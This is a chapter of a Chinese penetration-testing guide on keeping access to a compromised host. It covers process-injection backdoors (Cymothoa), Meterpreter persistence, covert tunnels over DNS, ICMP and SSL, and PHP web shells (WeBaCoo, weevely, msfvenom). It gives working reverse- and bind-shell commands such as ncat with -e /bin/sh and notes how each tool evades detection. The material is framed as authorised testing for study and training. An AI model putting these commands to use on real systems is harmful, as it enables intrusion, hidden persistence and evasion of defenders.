第11章 访问维护

上一章讨论了在目标主机上提升权限的方法。本章将介绍在滲透测试过程的最后一个环节,即帮助我们随时进入目标主机的方法。

在完成了提升权限的阶段性工作之后,我们应当建立一种机制,以维持对目标主机的控制权。这样一来,即使我们所利用的漏洞被补丁程序修复,我们还可以继续控制目标系统。当然,在做这项测试之前,必须要争得客户的许可。

维持控制权的程序可分为以下几类:

● 操作系统后门;

● 隧道工具;

● Web 后门。

11.1 操作系统后门

简单地说,所谓后门(backdoor),泛指绕过目标系统安全控制体系的正规用户认证过程而维持我们对目标系统的控制权,以及隐匿我们控制行为的方法。本节将介绍多款操作系统的后门程序。

11.1.1 Cymothoa

Cymothoa 是一款可以将 shellcode 注入到现有进程的(即插进程)后门工具。借助这种注入手段,它能够把shellcode伪装成常规程序。它所注入的后门程序应当能够与被注入的程序(进程)共存,以避免被管理和维护人员怀疑。将shellcode注入到其他进程,还有另外一项优势:即使目标系统的安全防护工具能够监视可执行程序的完整性,只要它不检测内存,那么它就不能发现(插进程)后门程序的进程。

如需启动Cymothoa程序,可使用下述指令。

cymothoa

上述指令将会显示 Cymothoa 程序的帮助信息。在使用这个程序时,必须通过-p 选项指定目标进程的PID,并通过-s选项指定shellcode的编号。

您可在目标主机上使用ps指令,以查看程序的PID信息。另外,如图11.1所示,您可以使用程序的-S选项列出所有可用的shellcode和对应编号。

figure_0313_0140

图11.1

在渗透到目标主机之后,可把cymothoa的可执行程序复制到目标主机上,继而生成后门程序。

此后,您需要决定shellcode类型以及shellcode的宿主进程。

在 Linux 系统中,我们可使用 ps-aux 指令查看当前运行的所有程序进程。这个指令的运行结果如图11.2所示。

figure_0313_0141

图11.2

虽然返回结果分为很多列,但是我们只关注以下几列。

● 第一列:启动用户。

● 第二列:PID。

● 最后一列:指令。

本例中,我们选定PID 4255 的进程(rpc.mountd)为宿主进程,并决定使用第一类shellcode。另外,我们还需要使用-y[port number]选项指定 payload 的服务端口。综合以上信息,我们需要使用的指令如下所示。

./cymothoa –p 4255 –s 1 –y 4444

上述指令的运行结果如图11.3所示。

figure_0314_0142

图11.3

我们另找一台主机,并通过下述指令连接到目标主机的后门(4444号端口)。

nc –nvv 192.168.56.102 4444

其中,192.168.56.102是目标主机的IP地址。

我们将会看到图11.4所示的信息。

figure_0314_0143

图11.4

上述信息表明,我们成功地连接到远程主机的后门之中,并能够在目标主机上执行多个指令。

这种后门程序以运行中的程序为宿主。无论是宿主进程关闭或是目标主机重启,此类后门程序都会停止运行。若要突破这种局限,就需要使用持久型后门(persistent backdoor)。

11.1.2 Intersect

Intersect是一款适合在漏洞利用以后使用的能够自动完成多种后期任务的程序。它够自动收集密码文件、复制 SSH 密钥、收集网络信息,并能识别杀毒软件和防火墙程序。

若要使它自动执行后期任务,您需要创建自己的脚本文件,并在脚本中指定所需的各种功能。对于Intersect来说,每个功能就有对应的模块。

默认安装的 Intersect 程序自身就带有多个功能模块。在这些模块之中,与信息收集相关的模块就有下面这些。

● creds:收集认证信息。

● extras:搜索操作系统和应用程序的配置文件,以检索特定的应用程序和防护程序。

● network:收集网络信息,例如服务端口和DNS 信息。

● lanmap:枚举在线主机并收集IP 地址。

● osuser:枚举操作系统信息。

● getrepos:用于查找源代码的软件仓库。

● openshares:在特定主机上查找SMB 的公开共享。

● portscan:简易的端口扫描程序,可扫描特定IP 的1~1000 端口。

● egressbuster:在指定的端口范围内,搜索可用的外联端口。

● privsec:检测Linux 内核的系统是否存在可提权的漏洞。

● xmlcrack:将哈希列表发送端远程XMLRPC,以继续破解。

本章的主题是维护控制权,所以本文关注那些可创建shell连接的模块。

● reversexor:采用XOR 加密的reverse shell。

● bshell:基于TCP 协议的bind shell。

● rshell:基于TCP 协议的reverse shell。

● xorshell:采用XOR 加密的bind shell。

● aeshttp:采用AES 算法加密的 HTTP Reverse shell。

● udpbind:基于UDP 协议的bindshell;默认端口21541。

● persistent:会在系统启动时自动运行的持久型后门。

在创建Intersect的脚本文件时,需要遵循的以下几个通用步骤:

● 选定shell 模块;

● 给模块的变量赋值(例如端口号码和远程主机);

● 保存脚本文件。

如需启动Intersect程序,可在终端中使用下述指令。

intersect

上述指令将会调出Intersect的程序菜单,如图11.5所示。

figure_0316_0144

图11.5

我们选择Create Custom Script,然后会看到图11.6 所示的界面。

figure_0317_0145

图11.6

如需列出全部的模块,可使用modules指令。该指令的运行效果如图11.7所示。

figure_0317_0146

图11.7

我们就可通过符号=>指定某个模块,或用 info 指令查询某模块的具体信息。例如,可通过下述指令查询creds模块的详细信息。

:info creds

本例将使用reversexor模块创建持久型后门。首先要选定这个模块。

=> reversexor

reversexor added to queue.

然后调整模块的默认选项,并创建脚本文件(见图11.8)。

figure_0318_0147

图11.8

只有在远程主机安装有文件 scapy.py 的情况下,才能运行 Intersect 的脚本文件。如果遇到以下错误:

AttributeError:'module'object has no attribute 'linux_distribution'

则说明被测主机使用的Python版本过老。此时要将脚本中的 distro2 =platform.linux_distribution()[0]改为distro2 = platform. dist()[0]。

在创建了后门程序之后,要把它上传到目标主机上,并在目标主机上执行。

11.1.3 Meterpreter后门

著名的Metasploit meterpreter 程序自带一个名为metsvc 的后门程序,它可让您随时获取Meterpreter的shell。

需要小心的是,metsvc程序没有采用任何认证机制。换句话说,所有发现该后门端口的人都应该能够使用这个后门。

本例使用Windows XP 系统的主机当作被测主机。被测主机使用192.168.2.21 作为其IP地址,而测试主机的IP地址是192.168.2.22。

若要启用metsvc 后门,您首先要利用被测系统的漏洞获取Meterpreter shell。在获得shell 之后,最好使用 migrate 指令把当前会话( session )嫁接到其他进程里,例如explorer.exe(2)。这样,即使 payload(1)程序意外停止,您仍然持有被测系统的控制权(见图11.9)。

figure_0319_0148

图11.9

接下来,我们使用下述指令安装metsvc服务。

run metsvc

上述指令的运行结果如图11.10所示。

figure_0319_0149

图11.10

现在我们在被测主机上打开文件夹 C:\Documents and Settings\user\Local Settings\Temp\ hFSGPuffumYt,可在其中找到后门程序的文件(见图11.11)。

figure_0320_0150

图11.11

这个目录里有metsvc的EXE文件和DLL文件。现在我们重新启动被测主机,来检验一下这个后门是否会在启动时自动加载。

我们在测试主机上启动会话处理程序,并设定metsvc payload 的选项(见图11.12):

● RHOST: 192.168.2.21(被测主机);

● LPORT:31337(后门程序的端口号码)。

figure_0320_0151

图11.12

设置好各选项之后,我们使用execute指令发起攻击(见图11.13)。

figure_0321_0152

图11.13

上述信息表明,测试主机发起的攻击已经成功;我们再次获取到了被测主机的Meterpreter会话。此后,您可在这个会话里为所欲为。

如需在被测主机上卸载metsvc 服务,您需要在Meterpreter shell 里使用以下指令。

run metsvc -r

这样就可卸载metsvc程序。

11.2 隧道工具

在计算机领域里,隧道是指使用某个网络协议封装另外一种网络协议的技术手段。在渗透测试中,使用隧道技术主要为了让目标系统的防护机制无法发挥作用。多数情况下,目标系统的防火墙会阻止内部系统访问外网网络,只放行DNS、HTTP和HTTPS这类的常见网络协议。在这种情况下,如果要在目标系统的内网使用外网的其他网络协议,就需要构建HTTP协议的隧道。这样,防火墙就会放行隧道封装的数据。

Kali Linux 收录了几款隧道封装工具,以把某种协议的数据藏在其他协议之中。下文将会介绍部分隧道封装工具。

11.2.1 dns2tcp

dns2tcp是一种把TCP数据包伪装为DNS协议数据包的隧道封装工具。它适用于目标主机只能发送 DNS 请求的网络环境。当它在特定端口受理连接请求时,它会数据封装为DNS协议的格式,再发送到指定主机的指定端口的dns2tcp服务端程序。

dns2tcp采用了CS(客户端/服务器)架构。客户端程序叫做dns2tcpc,服务器端叫做dns2tcpd。

要启动dns2tcp的服务器端程序,可在终端中使用下述指令。

dns2tcpd

上述指令将会在屏幕上显示简短的使用说明。

如需使用dns2tcp的客户端程序,可在终端中使用下述指令。

dns2tcpc

上述指令将会在屏幕上显示简短的使用说明。

在使用 dns2tcp 之前,需要创建一个指向公网 dns2tcp 服务器 IP 的 NS 记录。建议为dns2tcp的程序分配子域名的DNS记录,例如dnstimnel.myexample.com。

之后就要配置 dns2tcp 服务器。默认情况下,dns2tcp 服务器端程序会在当前用户的主目录下寻找文件.dns2tcprcd,将之用作配置文件。

我们使用以下内容创建一个标准的dns2tcp服务器端配置文件。

listen = 0.0.0.0

port = 53

user = nobody

chroot = /tmp

domain = dnstunnel.example.com

resources = ssh:127.0.0.1:22

然后把这个文件保存为/etc/dns2tcpd.conf。

创建好配置文件之后,可通过下述指令启动dns2tcp的服务器端程序。

dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

上述指令将dns2tcpd 的调试级别设置为1(-d 1),并令其在前台运行(-F)。

dns2tcp的客户端程序同样需要进行配置。您可用以下述内容创建一个客户端应用程序的配置文件。

domain = dnstunnel.example.com

ressource = ssh

local_port = 2222

debug_level =1

将这个配置文件保存为/etc/dns2tcpc.conf,或保存为文件.dns2tcprc。这样,我们就可在执行dnstcpc程序时用配置文件提供参数,而不必在每次执行程序的时候都通过很长的命令行指令传递程序参数。

接下来,使用以下指令启动隧道的客户端程序。

dns2tcpc –z dnstunnel.example.com -c -f /etc/dns2tcpc.conf

而且要用下述命令开启SSH会话。

ssh -p 2222 [email protected]

dns2tcp程序能够以DNS协议封装数据包,但是它的隧道并不具备加密功能。因此,您可能需要对进入协议隧道前的数据包进行加密处理。

11.2.2 iodine

iodine是一款能够将IPv4的网络流量封装为DNS协议的工具。它特别适用于目标主机只能发送DNS请求的网络环境。

与其他DNS隧道工具相比,iodine具备以下优势:

● 在处理下行数据时,它可以对不其编码,所以iodine 的性能更为出色;

● 支持多种操作系统,它可以在 Linux、Mac OS、FreeBSD、NetBSD、OpenBSD 和Windows系统上运行;

● 它可用密码保护通信隧道;

● 最多支持16 个并发连接。

在使用这个程序之前,您需要准备以下条件:

● 使用尽可能短的域名;域名越短,隧道的带宽消耗就越小;

● 能够管理某个域的A 记录和NS 记录;

● 如果要通过 Internet 将 iodine 的客户端程序连接到其服务器端程序,那么运行服务器端程序的主机应当具备独立的公网IP;

● 客户端程序能够通过隧道连接到互联网。

在准备好上述事宜之后,就要分别配置DNS服务器、iodine服务端和客户端。

1.配置DNS服务器

如果您拥有某个域(example.com),那么可以给这个隧道分配一个子域(例如tunnel.example.com)。如果这个域的名称解析服务器使用BIND程序解析DNS,那么您可以在example.com 的区域文件(zone file)里添加以下2 行。

dns   IN A  192.168.200.1

tunnel  IN NS dns.example.com.

上述两行的作用是:

● 添加一个名为dns 的A 记录;

● 名为dns.example.com 的DNS 服务器负责解析tunnel 子域。

其中,192.168.200.1是iodine服务端主机使用的IP地址。

在修改了区域文件(zone file)之后,重启BIND 服务端程序以使配置生效。

2.器端模式运行iodine

以服务器端模式启动iodine程序的指令如下。

iodined –f –c –P password 192.168.200.1 tunnel.example.com

上述指令的各选项的意思如下。

● -f:以前台模式运行服务器端程序。

● -P:指定服务器端程序所用的密码。

● -C:仅用客户端地址检查。

3.户端模式运行iodine

以客户端模式运行iodine程序,只需要指定1~2个参数。第一个参数是本地DNS服务器(可选),第二个参数是隧道使用的域名(本例中,这个域是tunnel.example.com)。

以客户端模式启动iodine程序的指令如下。

iodine –f –P password tunnel.example.com

服务器端主机将会分配给客户端主机一个IP地址。这个IP地址通常会是192.168.200.2或192.168.200.3。

在测试隧道连接时,可以ping隧道对端的IP地址。

可以在客户端主机上使用以下指令。

ping 192.168.200.1

可以在服务器端主机上使用以下指令。

ping 192.168.200.2

您可能需要实际情况调整指令中的IP地址。

11.2.3 ncat

ncat 是一款集发送、接收、转发、加密数据等多种功能于一身的网络工具。ncat 是著名的Netcat程序(http://nmap.org/ncat/guide/index.html)的改进版本,它的功能有:

● 它可用作Web 服务程序和其他TCP/IP 服务器端程序的简易TCP/UDP/SCTP/ SSL客户端;

● 它可用作简单的TCP/UDP/SCTP/SSL 服务器端程序;

● 它可转发或代理TCP/UDP/SCTP 流量;

● 它可用作执行系统指令的网络网关;

● 它可使用SSL 技术加密通信数据;

● 它可使用IPv4 或IPv6 进行网络传输;

● 它可用作连接代理(Connection Broker),通过第三个中介服务器使两个(或更多)的客户端互联互通。

因为本篇讨论的是在目标主机上创建操作系统后门的方法, 所以仅介绍ncat 与后门有关的功能。

首先应当创建一个常规的backdoor shell。我们以监听模式启动ncat 程序,并指定监听的网络端口。当攻击人员连接到主机的这个端口时,就能够获取到主机的shell会话。

在本例中,各主机使用的IP地址如下:

● 攻击人员的IP 地址是192.168.2.21;

● 被测主机的IP 地址是 192.168.2.23。

接着,我们在被测主机上运行下述指令。

ncat –l 1337 –e /bin/sh

上述指令各选项的作用分别如下。

● -l:指定监听端口。

● -e:指定shell 的执行指令。

然后,我们通过下述命令,使攻击人员的主机连接到被测主机的backdoor shell。

ncat 192.168.2.23 1337

如图11.4所示,上述指令将连接到被测主机的shell。

figure_0326_0153

图11.14

下面,我们将在被测主机上创建reverse shell,使其自主连接到攻击人员的主机上。

我们首先要在攻击人员的主机上配置ncat程序,让它监听1337端口。

ncat -l 1337

接下来,我们在被测主机上执行下述指令。

ncat 192.168.2.21 1337 –e /bin/sh

执行完这个指令之后,我们就可在攻击人员的测试主机上看到图11.15的信息。

figure_0326_0154

图11.15

可随时使用组合键Ctrl+C 退出backdoor shell。

应当注意的是,上述两个例子并没有对网络流量进行加密处理。如果需要加密网络数据,就应当使用cryptcat程序。在使用cryptcat时,务必要在通信的两端使用-k选项设置加密密码,否则它将使用默认密码进行加密。

11.2.4 proxychains

proxychains程序可强制TCP客户端程序通过指定的代理服务器(或代理链)发起TCP连接。自3.1版本起,它支持SOCKS4代理、SOCKET5代理和基于CONNECT模式的HTTP代理服务器。

proxychains的文档介绍了它的各种用途:

● 适用于通过代理服务器访问外部网络的情况;

● 可用于穿越限制外联端口的防火墙(出口过滤);

● 可将2 个(或更多)代理服务器组成代理服务器链;

● 可以让本身不支持代理的程序使用代理服务器,例如Telnet、Wget、FTP、VNC 和Nmap程序,它们都是直接发起连接的程序;

● 可以通过反向代理服务器从网络外部访问内网。

如需启动proxychains程序,可在终端中使用下述指令。

proxychains

上述指令将会在屏幕上显示简单的使用说明。

在Kali Linux 中,proxychains的配置文件是/etc/proxychains.conf。默认情况下它使用的代理服务器是 tor。如需使用其他代理服务器,可在配置文件的最后部分声明需要添加的代理服务器。

本例所使用的配置文件,其最后的代理服务器声明部分的内容如下所示。

[ProxyList]

add proxy here ...

meanwile

defaults set to "tor"

socks4 127.0.0.1 9050

声明代理服务器的格式如下所示。

proxy_type host port [user pass]

代理服务器类型即http、socks4或socks5。

如果要使Telnet程序通过代理服务器建立连接,可使用下述指令。

proxychains telnet example.com

上述指令将使 telnet 程序通过(proxychians 配置文件指定的)代理服务器登录到example.com的telnet服务。

11.2.5 ptunnel

ptunnel 是一款使用ICMP ping(请求和回复)封装TCP 连接的隧道工具。即使被测主机无法向Internet发送任何TCP和UDP的数据,只要它可以向取Internet发起ping指令,那么这款工具就可以帮助它穿越防火墙。ptunnel可以脱离TCP和UDP连接访问E-mail、上网或进行其他网络活动。

如需启动ptunnel程序,可在终端中使用下述指令。

ptunnel -h

上述指令将会在屏幕上显示简单的使用说明及相关范例。

需要配合代理服务器才能在客户端使用ptunnel程序。而且客户端程序所在的主机必须能够访问服务器端的主机。另外,如果要在Internet上架设ptunnel服务器端程序,那么服务器端主机必须使用公网可以直接访问到的IP地址。

在此之后,可通过下述指令启动ptunnel的服务器端程序。

ptunnel

服务器端程序将会监听所有的TCP协议的数据包。

[inf]: Starting ptunnel v 0.71.

[inf]: (c) 2004-2009 Daniel Stoedle, [email protected]

[inf]: Security features by Sebastien Raveau,

[inf]: Forwarding incoming ping packets over TCP.

[inf]: Ping proxy is listening in privileged mode.

本例中,客户端要把本机的 2222 端口的通信经由 ptunnel 服务器端( ptunnel. example.com)转发到ssh服务器(ssh.example.org)的22端口。创建这样一个定向通信隧道的指令如下。

ptunnel -p ptunnel.example.com -lp 2222 -da ssh.example.org -dp 22

客户端将会显示如下信息。

[inf]: Starting ptunnel v 0.71.

[inf]: (c) 2004-2009 Daniel Stoedle, [email protected]

[inf]: Security features by Sebastien Raveau,

[inf]: Relaying packets from incoming TCP streams.

然后,让SSH连接到ptunnel程序形成的隧道。

ssh localhost -p 2222

接下来,我们使用正确的用户名和密码来登录SSH服务器。

此外,您可以在服务器端运行的命令行里通过选项-x指定隧道的密码,这样就可以防止其他人使用您的ptunnel隧道。当然,客户端和服务器端应当使用相同的密码。

11.2.6 socat

socat程序是一款使用两个独立数据通道(字节流)双向传输数据的中继程序。它的数据通道支持各种类型的数据接收器和数据源(通称为地址类型[address type])。地址类型可以是以下某个(或某两个)类型的数据对象:

● 文件;

● 程序;

● 文件描述符;

● Socket(IPv4、IPv6、SSL、TCP、UDP 和UNIX);

● 设备(网卡、串行线、TUN/TAP 设备);

● 管道。

以上每种数据流都可以添加各种参数。这种参数可以是锁定模式、用户、组、权限、地址、端口、创建人、密码、密钥等数据。

其官方文档表明,socat程序的工作流程分为4个阶段。

● 初始化阶段:在第一阶段,socat 程序要解析命令行里的选项并初始化日志系统。

● 建立连接阶段:在第二阶段,socat 程序会依次打开第一(源)地址和第二(目标)地址。因为必须先读后写,所以如果不能打开第一个地址,程序就会直接退出。

● 数据传输阶段:在第三阶段,socat 程序通过 select()函数监控两个数据通道的“读写”文件描述符。当数据源地址可读且目标地址可写时,socat会读取源数据,并在必要的时候进行换行符的转换,把源数据写到另外一个数据流里的目标文件描述符里,之后周而复始。

● 关闭连接阶段:当某个地址流遇到了 EOF(正常或意外终止信号),程序就进入了第四阶段。socat会在另外一个数据流里传递EOF信息。如果关闭连接后,在预定的时间范围内,socat在另外一个方向仍然在传输数据,那么程序将关闭所有数据通道并停止运行。

如需启动socat程序,可在终端中执行下述指令。

socat -h

上述指令将在屏幕上显示命令行指令的各个选项,以及可选择的地址类型。

各种常用的地址类型、关键字和参数的有关介绍如下所示。

figure_0330_0155

续表

figure_0331_0156

后续篇幅将会演示socat的几种具体应用。

1.获取 HTTP header 信息

如需获取HTTP header 信息,可使用下述指令。

socat – TCP4:192.168.2.23:80

HEAD / HTTP/1.0

之后,HTTP服务器端程序将会进行回复。

HTTP/1.1 200 OK

Date: Wed, 25 Dec 2013 15:27:19 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

X-Powered-By: PHP/5.2.4-2ubuntu5.10

Connection: close

Content-Type: text/html

2.传输文件

要从主机192.168.2.23向主机192.168.2.23发送文件,需要以下几步。

1.在主机192.168.2.23(接收端)上执行下述指令。

socat TCP4-LISTEN:12345 OPEN:php-meter.php,creat,append

socat程序将会监听12345端口。如果没有php-meter.php这个文件,socat将会创建该文件;否则将会将传输内容续写(append)到文件的尾部。

2.在主机192.168.22(发送端)上执行下述指令。

cat php-meter.php | socat – TCP4:192.168.2.23:12345

3.在接收端,我们可以通过ls指令看到socat程序创建了有关文件。

-rw-r--r-- 1 msfadmin msfadmin 1315 2013-12-25 10:34 php-meter. php

上述信息表明,文件传输成功,接收端成功地创建了有关文件。

11.2.7 sslh

sslh是SSL/SSH协议的端口复用程序。它在指定端口受理连接,然后根据远程客户端发送的第一个数据包识别应用程序的连接类型,并将之转发到相应的服务端程序。

目前,sslh可调度HTTP、HTTPS、SSH、OpenVN、tinc和XMPP协议的连接。

测试人员通常会访问远程服务器的 HTTP、HTTPS、SSH、OpenVPN 和其他协议。但是被测目标的服务提供商可能会只开放 80(http)端口和 443(https)端口,屏蔽相应的服务端口。怎么穿越这种防火墙呢?

sslh 程序可以突破这些障碍。sslh 程序的端口复用功能可在 443 端口上同时受理SSH连接和HTTPS连接。

如需启动ssh程序,可在终端中使用下述指令。

sslh

上述指令将在屏幕上显示程序的使用方法。

在使用sslh程序之前,要对Web服务器端程序进行调整。您首先要编辑服务器程序的配置文件,使其仅监听本机(localhost)的443端口。然后重启Web服务器端程序。在Kali Linux 系统里,您需要编辑/etc/apache2/目录下的 ports.conf 文件,修改 mod_ssl部分的有关设置。

在配置文件中找到以下内容。

Listen 443

</IfModule>

把它修改为:

Listen 127.0.0.1:443

</IfModule>

接下来配置sslh。打开文件/etc/default/sslh,并找到下列内容。

Run=no

把上述内容替换为:

Run=yes

在我的主机上,这个文件的内容如图11.16所示。

figure_0333_0157

图11.16

保存文件并启动sslh服务。

/etc/init.d/sslh start

[ ok ] Starting ssl/ssh multiplexer: sslh.

此外,我们可通过下述指令检查sslh程序是否在正常运行。

ps -ef | grep sslh

上述指令的运行结果如图11.17所示。

figure_0334_0158

图11.17

上述信息表明sslh运行正常。

然后,我们使用另一台主机通过443端口连接到被测主机的SSH服务。

ssh -p 443 [email protected]

上述指令的运行结果如图11.18所示。

figure_0334_0159

图11.18

上述信息表明,我们能够通过443 端口连接到Kali Linux 主机的SSH 服务。

11.2.8 stunnel4

stunnel4 可以使用 SSL 技术对客户端和服务器端之间的 TCP 会话进行加密传输。stunnel4可以为本身无法进行TLS或SSL通信的客户端及服务器程序提供安全的加密连接,而不必修改这些程序的源代码。它可以封装Samba、POP3、IMAP、SMTP和HTTP协议。

如需启动stunnel4程序,可在终端中使用下述指令。

stunnel4 -h

上述指令将在屏幕上显示程序的使用方法。

如需查看帮助配置文件,可以指定-help选项。

stunnel4 -help

上述指令将在屏幕上显示程序的帮助配置文件。

本文将演示使用stunnel4加密MySQL连接的具体方法。以此为基础,您可以举一反三地使用stunnel程序对其他网络服务的连接进行SSL封装。

假设服务端主机的IP地址是192.168.2.21客户端主机的IP地址是192.168.2.22。

首先要调整服务端主机的相应配置。

1.创建SSL证书和密钥。

openssl req -new –days 365 -nodes -x509 -out /etc/stunnel/

stunnel.pem -keyout /etc/stunnel/stunnel.pem

2.依照程序的提示,依次设置国别、省份、通用名和E-mail地址的信息。

3.之后,OpenSSL 程序会制作 SSL 证书。SSL 密钥和证书信息将会保存为/etc/stunnel/ stunnel.pem。

4.调整stunnel4的配置文件,使其在3307端口上提供安全连接,并将解密后的数据包转发给本机真正的 MySQL 服务器端程序,即将下述配置信息保存为配置文件/etc/stunnel/stunnel.conf。

cert = /etc/stunnel/stunnel.pem

setuid = stunnel4

setgid = stunnel4

pid = /var/run/stunnel4/stunnel4.pid

[mysqls]

accept = 0.0.0.0:3307

connect = localhost:3306

5.修改文件/etc/default/stunnel4,使其可以自动启动。

ENABLED=1

6.启动stunnel4服务。

/etc/init.d/stunnel4 start

Starting SSL tunnels: [Started: /etc/stunnel/stunnel.conf] stunnel.

7.检査stunnel4是否监听了3307端口。

netstat -nap | grep 3307

8.上述指令的运行结果如下。

tcp 0 00.0.0.0:3307 0.0.0.0:*

LISTEN 8038/stunnel4

9.上述信息表明,stunnel4工作正常。

接下来,按照以下步骤配置客户端主机。

1.调整stunnel4的配置文件,使其在3306端口上受理MySQL客户端的连接,并将这个连接转发给远端stunnel服务端主机的3307端口。将下述配置信息保存为配置文件/etc/stunnel/stunnel.conf。

client = yes

[mysqls]

accept = 3306

connect = 192.168.2.21:3307

2.修改文件/etc/default/stunnel4,使其可以自动启动。

ENABLED=1

3.启动stunnel4服务。

/etc/init.d/stunnel4 start

使用下述指令查看stunnel4服务的运行状态是否正常。

netstat -napt | grep stunnel4

在我们的演示系统上,上述指令的输出结果如下。

tcp 000.0.0.0:3306 0.0.0.0:*

LISTEN 2860/stunnel4

4.通过下述指令通过stunnel的隧道连接MySQL服务器。

mysql -u root -h 127.0.0.1

上述指令的运行结果如图11.19所示。

figure_0337_0160

图11.19

5.而后,打开Wireshark程序,再在MySQL客户端里执行下述指令。

show databases;

在Wireshark里,我们只能看到图11.20所示的数据。

figure_0337_0161

图11.20

此时已经使用SSL技术对程序的连接进行了加密,所以我们无法看到任何明文。

相比之下,如果不使用 stunnel 程序加密网络数据,那么在进行相同数据库查询时, WireShark就能够截获出数据库数据的明文(见图11.21)。

figure_0338_0162

图11.21

在网络里进行监听可发现大量信息,收集数据库软件名称和软件版本号码、操作系统、数据库的登录用户名和密码,以及数据库里的库名等敏感信息。

11.3 创建Web后门

下文将介绍多款Web后门工具,这类工具通常用于维护控制权。

需要指出的是,IDS、杀毒软件和安全工具可能会检测出这些后门。如果对后门的隐匿性有较高要求,您需要创建自己专用的后门程序。

在本节的演示过程中,各主机和IP地址的对应关系如下:

● 攻击人员的主机使用的IP 是192.168.2.22;

● 目标主机的IP 地址是192.168.2.23。

11.3.1 WeBaCoo

WeBaCoo(Web Backdoor Cookie)是一款隐蔽的脚本类Web 后门工具。借助HTTP协议,它可在客户端和Web服务器之间实现执行代码的网页终端。

WeBaCoo有两种操作模式。

● Generation(生产线模式):指定-g 选项可进入这种模式。用户可在这种模式下制作PHP代码的payload。

● Terminal(终端模式):指定-t 选项可进入这种模式。用户可在这种模式下连接到被测主机的后门程序。

WeBaCoo的精妙之处在于,Web服务器和客户端之间的通信载体是Cookie。这就意味着多数的杀毒软件、网络入侵检测/防御系统、网络防火墙和应用程序防火墙都无法检测到后门的存在。

在WeBaCoo 的HTTP Cookie 中,以下三个参数的作用最为重要。

● cm:以Base64 编码的shell 指令。

● cn:加载着编码后输出内容的Cookie 名称。

● cp:封装编码后输出内容的分隔符。

如需启动WeBaCoo程序,可在终端中执行下述指令。

webacoo -h

上述指令将会显示程序的使用说明。本文首先介绍制作后门的具体方法。

与生成模式有关的命令行选项如下。

figure_0339_0163

如果要用默认的设置,生成名为test.php的PHP后门程序,并使用WeBaCoo的代码混淆技术对后门进行处理,那么可以使用下述指令。

webacoo -g -o test.php

上述指令的运行结果如下。

WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit

Copyright (C) 2011-2012 Anestis Bechtsoudis

{@anestisb | [email protected] | http(s)://bechtsou dis .com }

[+] Backdoor file "test.php" created.

文件test.php的内容如图11.22所示。

figure_0339_0164

图11.22

而后,把这个文件上传到被测主机(192.168.2.23)。

接下来就可以使用以下指令连接到被测主机的后门程序。

webacoo -t -u http://192.168.2.23/test.php

这样就可以连接到主机上的Web shell(见图11.23)。

figure_0340_0165

图11.23

防火墙和代理服务器只能够发现客户端在发送如下请求(见图11.24)。

figure_0340_0166

图11.24

服务端的响应信息如下(见图11.25)。

figure_0340_0167

图11.25

上述HTTP 请求和回复信息表明,WeBaCoo 后门的客户端和服务器端的通信是不易发现的加密会话。它所用的混淆技术降低了它被发觉的可能性。

退出WeBaCoo终端模式的指令是exit。

11.3.2 weevely

weevely 是一款具有高隐蔽性的针对PHP 平台的Web shell。它实现了SSH 风格的终端界面,并有大量自动化的模块。测试人员可用它执行系统指令、远程管理和渗透后期的自动渗透。

下面是weevely的主要功能(https://github.com/epinna/Weevely)。

● 它有30 多种可完成自动管理渗透后期任务的功能模块。这些模块能够:

○ 执行命令和浏览远程文件系统;

○ 检测常见的服务器配置问题;

○ 创造TCP shell 和reverse shell;

○ 在被测主机上安装HTTP代理;

○ 利用目标主机进行端口扫描。

● 使用HTTP Cookie 作为后门通信的载体。

● 支持密码认证。

如需启动weevely程序,可在终端中使用下述指令。

weevely

上述指令将会在屏幕上显示程序的使用说明。

weeavely的主要用途是:

● 生成混淆PHP backdoor;

● 在图像文件中追加多态的后门程序,并可通过.htaccess 文件赋予图像文件执行权限;

● 生成后门.htaccess 文件。

● 可通过help 选项列出程序的全部模块和生成工具。

weevely help

下列指令可生成混淆PHP backdoor,并将后门保存为display.php。

weevely generate password display.php

[generate.php] Backdoor file 'display.php' created with password

'password'

上述指令生成的display.php的内容如图11.26所示。

figure_0342_0168

图11.26

然后通过正常的途径或利用程序的漏洞,把后门文件上传到目标服务器上。

然后使用下述命令访问被测主机(192.168.2.23)的Web shell。

weevely http://192.168.2.23/display.php password

只要连接成功,您就能连接到weevely的Web shell 上。为了检测功能是否正常,我们可在 Web shell 中执行.net.ifaces 指令以获取远程主机的网络接口信息。另外,我们还可以运行id指令查看当前用户的ID(见图11.27)。

figure_0342_0169

图11.27

上述信息表明,我们成功地连接到被测主机的Web shell。在此shell 上,您可以在远程主机上执行其他命令。例如,您可通过:help指令查看weevely支持的各种指令(见图11.28)。

figure_0343_0170

图11.28

例如,我们可以使用下述指令扫描被测主机的22端口。

msfadmin@:/var/www $ :net.scan 192.168.2.23 22

SCAN 192.168.2.23:22-22 OPEN: 192.168.2.23:22

也可以用被测主机扫描自身的80端口。

msfadmin@:/var/www $ :net.scan 192.168.2.23 80

SCAN 192.168.2.23:80-80 OPEN: 192.168.2.23:80

您可随时使用组合键Ctrl+C 退出weevely shell。

weevely程序只能制作PHP 脚本的Web shell,如需创建其他脚本的Web shell,可考虑 Laudanum(http://laudanum.inguardians. com/)。Laudanum除了具备Web shell的功能之外,还有DNS查询、获取LDAP信息等其他功能。它支持ASP、ASPX、CFM、JSP和PHP脚本。

11.3.3 PHP Meterpreter

Metasploit 有一个名为PHP Meterpreter 的payload。这个模块可以创建具有Meterpreter功能的PHP Web shell。利用目标的漏洞(诸如常见的注入和上传漏洞)之后,再把它的shell传到目标主机即可。

Metasploit 的msfvenom 工具可以制作PHP meterpreter,具体指令如下。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.23 -f raw >

php-meter.php

上述指令各选项的作用如下。

● -p:指定payload 为php/meterpreter/reverse_tcp。

● -f:设置输出格式(raw)。

● LHOST:设定目标主机的IP 地址。

Metasploit 会把生成的PHP meterpreter 保存为文件php-mter.php。这个文件的部分内容如图11.29所示。

figure_0344_0171

图11.29

如图11.29所示,在上传后门到被测主机之前,首先要删除脚本第一行的注释。

其次,我们还要在攻击主机上作好受理PHP Meterpreter 的准备。在Kali 的主机上启动Metasploit Console(msfconsole),并启动multi/handler exploit。然后指定制作shell 后门时用过的 php/meterpreter/reverse_tcp payload。接下来把变量 LHOST设置为 Kali 主机的 IP 地址。在此之后,使用 exploit 指令运行 exploit 的受理程序(handler)。上述指令的运行结果如图11.30所示。

figure_0345_0172

图11.30

